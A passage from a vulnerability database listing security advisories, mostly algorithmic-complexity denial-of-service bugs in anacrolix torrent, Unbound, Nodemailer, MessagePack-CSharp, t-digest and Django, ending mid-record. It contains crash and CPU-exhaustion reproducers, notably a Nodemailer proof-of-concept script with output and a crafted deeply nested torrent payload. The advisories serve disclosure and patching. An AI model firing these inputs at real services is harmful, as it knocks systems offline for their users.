{\n\tdepth := 30_000 // ~0.2 MB; ~66 s on this machine\n\tsrc := buildV2Info(depth)\n\tvar info metainfo.Info\n\tif err := bencode.Unmarshal(src, \u0026info); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfmt.Println(\"[defect2] parsed deep v2 file tree\")\n}\n```\n\nObservations with the pinned commit (Go 1.26, laptop):\n\n```\n# TestDefect1 - process aborts, unrecoverable:\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n[exit status 2]\n\n# TestDefect2 - wall-clock parse time (single-threaded):\ndepth=30_000              =\u003e ~66 s\ndepth=60_000              =\u003e \u003e90 s (timeout)\n```\n\nTo reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the `metainfo.Load` API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as `d4:infod` + 4,000,000 `l` + 4,000,000 `e` + `ee`:\n\n```bash\n./cmd/torrent -seed -metainfo ./crash.torrent   # crashes\n```\n\nThe payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).\n\n## Recommendations\n\n1. **Add a nesting-depth limit to the decoder** (recommended, fixes both defects). Thread a depth counter through `parseValue` / `parseDict` / `parseList` / `parseValueInterface` / `parseListInterface` / `parseDictInterface` / `readOneValue`, and return a `SyntaxError` when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on `Decoder` like the existing `MaxStrLen` (`bencode/decode.go:21-32`). 2. **Make `readOneValue` length-aware.** Apply the same `MaxStrLen` bound to the `io.CopyN(\u0026d.buf, d.r, length)` at `bencode/decode.go:564` instead of trusting the raw length field, so oversized bulk fields fail as `SyntaxError` instead of being buffered. 3. **Break the O(n\u00b2) in `FileTree.UnmarshalBencode`.** Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running `bencode.Unmarshal` on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. **Convert fatal overflow into a recoverable error.** Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on `recover()` - a stack overflow is `fatal` and unrecoverable in Go. 5. **Fuzz with depth in mind.** Add a fuzz seed / corpus that includes deeply nested `d`/`l` values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.\n\n## References\n\n- Source (pinned): `https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c`\n  - Unbounded recursion: `bencode/decode.go:546-549`, `bencode/decode.go:591`\n  - File-tree recursion: `metainfo/file-tree.go:42-49`\n  - Public entry points: `metainfo/metainfo.go:35-50`, `client.go:1776`, `torrent.go:638`\n  - Missing `MaxStrLen` in bulk read: `bencode/decode.go:564`\n  - Metadata size cap (remote reachability): `global.go:18`, reassembly call `torrent.go:1874`\n- Prior hardening in this codebase (unrelated to this class, recorded for completeness):\n  - v2 pieces-root panic fix: commit `7218a979` (\"validate v2 file tree pieces root length before torrent setup\"), present at the pinned commit via `misc.go:92` -\u003e `file-tree.go:164`.\n  - Path-traversal safeguards in storage (`storage/file-paths.go:32` `isSubFilepath`, `storage/safe-path.go:16` `ToSafeFilePath`) - inspected and found to hold (not the issue here).\n- No published advisory found: OSV.dev and NVD return no records for the package (`github.com/anacrolix/torrent`, purl `pkg:golang/github.com/anacrolix/torrent`); the Go ecosystem advisory database lists none.",
  "id": "GHSA-2wrx-84qj-4pcg",
  "modified": "2026-10-30T22:55:09Z",
  "published": "2026-10-30T22:55:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anacrolix/torrent/commit/76452a2c8a2fd9c59d4d4f10fc3495723d538c7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anacrolix/torrent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS"
}

GHSA-2WVJ-GVC7-GFHX

Vulnerability from github – Published: 2026-05-20 12:30 – Updated: 2026-08-19 12:32
VLAI
Details

NLnet Labs Unbound up to and including version 1.25.0 is vulnerable to a degradation of service attack related to parsing long lists of incoming EDNS options. An adversary sending queries with too many EDNS options can hold Unbound threads hostage while they are parsing and creating internal data structures for the options. Coordinated attacks can result in degradation and/or denial of service. Unbound 1.25.1 contains a patch with a fix to limit acceptable incoming EDNS options (100).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1050",
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T10:16:27Z",
    "severity": "MODERATE"
  },
  "details": "NLnet Labs Unbound up to and including version 1.25.0 is vulnerable to a degradation of service attack related to parsing long lists of incoming EDNS options. An adversary sending queries with too many EDNS options can hold Unbound threads hostage while they are parsing and creating internal data structures for the options. Coordinated attacks can result in degradation and/or denial of service. Unbound 1.25.1 contains a patch with a fix to limit acceptable incoming EDNS options (100).",
  "id": "GHSA-2wvj-gvc7-gfhx",
  "modified": "2026-08-19T12:32:10Z",
  "published": "2026-05-20T12:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41292"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24013"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36320"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36777"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37282"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54769"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-41292"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480125"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-41292.json"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-41292.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2X7J-588G-CCC2

Vulnerability from github – Published: 2026-09-08 21:33 – Updated: 2026-09-08 21:33
VLAI
Summary
Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list
Details

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n input size parse time ratio for 2× input
25,000 0.19 MB ~0.35 s –
50,000 0.38 MB ~1.4 s ×4.0
100,000 0.76 MB ~6–8 s ×3.9
200,000 1.53 MB ~25–30 s ×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

  • Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

  • addressparser rebuilt its accumulator with concat() on every address (9116da9).
  • The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
  • MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:33:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNodemailer\u0027s address parser (`lib/addressparser/index.js`) parses a list of comma\u2011separated addresses in **quadratic time \u2014 O(n\u00b2)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply\u2011To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node\u0027s single\u2011threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** \u2014 it is entirely inside the parser and triggers on the library\u0027s default code path. A ~1.5 MB address value freezes the process for ~25\u201330 seconds of 100% CPU; the cost grows with the square of the input, so a few\u2011MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE\u20112025\u201114874 (that path is guarded by a nesting\u2011depth cap; this one is a flat, comma\u2011separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per\u2011address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500\u2013505):\n\n```js\naddresses.forEach(addr =\u003e {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // \u003c-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + \u2026 + n elements in total, i.e. **O(n\u00b2)** work (and O(n\u00b2) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root\u2011cause proof.** Replacing only that line with an in\u2011place append and re\u2011running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      -\u003e  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   -\u003e  100000 addresses:  ~51 ms   (\u2248119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `\u0027a@b.com,\u0027.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2\u00d7 input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | \u2013 |\n| 50,000  | 0.38 MB | ~1.4 s  | \u00d74.0 |\n| 100,000 | 0.76 MB | ~6\u20138 s  | \u00d73.9 |\n| 200,000 | 1.53 MB | ~25\u201330 s| \u00d74.1 |\n\nDoubling the input quadruples the time \u2014 the signature of O(n\u00b2).\n\n**Reachability.** The parser is invoked on any structured\u2011address header value on the normal send path (`MimeNode.setHeader(\u0027To\u0027/\u0027Cc\u0027/\u0027Bcc\u0027/\u0027From\u0027/\u0027Reply-To\u0027, value)` \u2192 `_parseAddresses` \u2192 `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: \u003ccrafted string\u003e })` triggers it. It is also reached directly through the **exported** `require(\u0027nodemailer/lib/addressparser\u0027)`, which many applications call to validate or display user\u2011supplied recipient lists. Confirmed via the public API: `setHeader(\u0027To\u0027, \u0027a@b.com,\u0027.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js \u2265 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required \u2014 the cost is in parsing.\n\n`poc-dos.js`:\n```js\n\u0027use strict\u0027;\nconst addressparser = require(\u0027nodemailer/lib/addressparser\u0027);\n\nconsole.log(\u0027addresses | input size | parse time\u0027);\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = \u0027a@b.com,\u0027.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + \u0027 | \u0027 + (payload.length / 1048576).toFixed(2) + \u0027 MB   | \u0027 + ms.toFixed(0).padStart(7) + \u0027 ms\u0027);\n}\n```\n\nRun:\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require(\u0027nodemailer\u0027);\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: \u0027a@b.com\u0027, to: \u0027a@b.com,\u0027.repeat(150000), subject: \u0027x\u0027, text: \u0027y\u0027 });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party \u2014 a recipient field in a \"send email / invite / share\" feature, a `Reply\u2011To`/`From` derived from user input, a contact\u2011import or mailing\u2011list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `\u0027a, b \u003cc@d.com\u003e,\u0027.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `\u0027a@b.com,\u0027.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.",
  "id": "GHSA-2x7j-588g-ccc2",
  "modified": "2026-09-08T21:33:17Z",
  "published": "2026-09-08T21:33:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/pull/1848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Quadratic (O(n\u00b2)) time complexity in addressparser allows remote denial of service via a crafted address list"
}

GHSA-2X83-8G95-XH59

Vulnerability from github – Published: 2026-06-25 19:36 – Updated: 2026-06-25 19:36
VLAI
Summary
MessagePack-CSharp: ExpandoObject formatter can perform quadratic insertion work on untrusted maps
Details

Summary

ExpandoObjectFormatter.Deserialize populates System.Dynamic.ExpandoObject by calling IDictionary<string, object>.Add for each map entry. ExpandoObject internally maintains member names in array-like structures, so inserting many distinct keys can require repeated linear scans and array copies.

For large attacker-controlled maps, this produces quadratic CPU and allocation behavior. The issue is especially surprising because ExpandoObjectResolver.Options is configured with MessagePackSecurity.UntrustedData, but collision-resistant dictionary comparers cannot protect ExpandoObject insertion internals.

Impact

Applications are affected when they deserialize untrusted MessagePack maps into ExpandoObject using ExpandoObjectResolver or related resolver options.

A hostile payload containing many distinct keys can cause CPU exhaustion and allocation churn disproportionate to the input size. This can make a server unresponsive or exhaust memory under concurrent request load.

This is not a hash-collision attack against a configurable dictionary comparer. The super-linear behavior comes from ExpandoObject's insertion model, so MessagePackSecurity.UntrustedData does not eliminate the cost.

Affected components

  • Package: MessagePack
  • APIs: ExpandoObjectFormatter.Deserialize, ExpandoObjectResolver
  • Data type: System.Dynamic.ExpandoObject
  • Finding ID: MESSAGEPACKCSHARP-102

Patches

Fixes are prepared and will be released in coordinated patch versions.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

Potential fixes include applying a map-entry count limit for ExpandoObject under untrusted-data settings, buffering into a security-aware dictionary before materializing a bounded ExpandoObject, or otherwise rejecting maps large enough to trigger quadratic behavior.

Workarounds

Patching is recommended.

Until a patched version is available, avoid deserializing untrusted payloads into ExpandoObject. Prefer strongly typed DTOs or dictionaries with security-aware comparers and explicit count limits. Enforce request-size and map-entry limits at the transport or application layer.

Resources

  • MESSAGEPACKCSHARP-102: ExpandoObjectFormatter quadratic insertion behavior
  • CWE-407: Inefficient Algorithmic Complexity
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T19:36:23Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`ExpandoObjectFormatter.Deserialize` populates `System.Dynamic.ExpandoObject` by calling `IDictionary\u003cstring, object\u003e.Add` for each map entry. `ExpandoObject` internally maintains member names in array-like structures, so inserting many distinct keys can require repeated linear scans and array copies.\n\nFor large attacker-controlled maps, this produces quadratic CPU and allocation behavior. The issue is especially surprising because `ExpandoObjectResolver.Options` is configured with `MessagePackSecurity.UntrustedData`, but collision-resistant dictionary comparers cannot protect `ExpandoObject` insertion internals.\n\n## Impact\n\nApplications are affected when they deserialize untrusted MessagePack maps into `ExpandoObject` using `ExpandoObjectResolver` or related resolver options.\n\nA hostile payload containing many distinct keys can cause CPU exhaustion and allocation churn disproportionate to the input size. This can make a server unresponsive or exhaust memory under concurrent request load.\n\nThis is not a hash-collision attack against a configurable dictionary comparer. The super-linear behavior comes from `ExpandoObject`\u0027s insertion model, so `MessagePackSecurity.UntrustedData` does not eliminate the cost.\n\n## Affected components\n\n- Package: `MessagePack`\n- APIs: `ExpandoObjectFormatter.Deserialize`, `ExpandoObjectResolver`\n- Data type: `System.Dynamic.ExpandoObject`\n- Finding ID: `MESSAGEPACKCSHARP-102`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nPotential fixes include applying a map-entry count limit for `ExpandoObject` under untrusted-data settings, buffering into a security-aware dictionary before materializing a bounded `ExpandoObject`, or otherwise rejecting maps large enough to trigger quadratic behavior.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid deserializing untrusted payloads into `ExpandoObject`. Prefer strongly typed DTOs or dictionaries with security-aware comparers and explicit count limits. Enforce request-size and map-entry limits at the transport or application layer.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-102`: `ExpandoObjectFormatter` quadratic insertion behavior\n- CWE-407: Inefficient Algorithmic Complexity",
  "id": "GHSA-2x83-8g95-xh59",
  "modified": "2026-06-25T19:36:23Z",
  "published": "2026-06-25T19:36:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-2x83-8g95-xh59"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48511"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: ExpandoObject formatter can perform quadratic insertion work on untrusted maps"
}

GHSA-32F6-MGWR-PVC4

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

t-digest versions 3.1 through 3.3 fail to validate centroid means during deserialization in MergingDigest.fromBytes, allowing attackers to inject NaN values that bypass validation checks. Attackers can craft malicious serialized digests containing NaN centroids that degrade sorting performance from O(n log n) to O(n squared), causing severe processing delays during merge operations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-87822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T15:17:27Z",
    "severity": "HIGH"
  },
  "details": "t-digest versions 3.1 through 3.3 fail to validate centroid means during deserialization in MergingDigest.fromBytes, allowing attackers to inject NaN values that bypass validation checks. Attackers can craft malicious serialized digests containing NaN centroids that degrade sorting performance from O(n log n) to O(n squared), causing severe processing delays during merge operations.",
  "id": "GHSA-32f6-mgwr-pvc4",
  "modified": "2026-09-09T15:35:16Z",
  "published": "2026-09-09T15:35:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tdunning/t-digest/issues/229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tdunning/t-digest"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tdunning/t-digest/blob/8d5c1523c3d46925e9b3979a8d63c0b9d004ed1c/core/src/main/java/com/tdunning/math/stats/MergingDigest.java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tdunning/t-digest/blob/8d5c1523c3d46925e9b3979a8d63c0b9d004ed1c/core/src/main/java/com/tdunning/math/stats/Sort.java"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/t-digest-3.1-through-3.3-denial-of-service-via-nan-centroid-means-in-mergingdigest-frombytes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-33MW-Q7RJ-MJWJ

Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-06-05 16:24
VLAI
Summary
Django has Inefficient Algorithmic Complexity
Details

An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.

ASGIRequest allows a remote attacker to cause a potential denial-of-service via a crafted request with multiple duplicate headers. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django would like to thank Jiyong Yang for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0a1"
            },
            {
              "fixed": "6.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2a1"
            },
            {
              "fixed": "5.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2a1"
            },
            {
              "fixed": "4.2.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-14550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
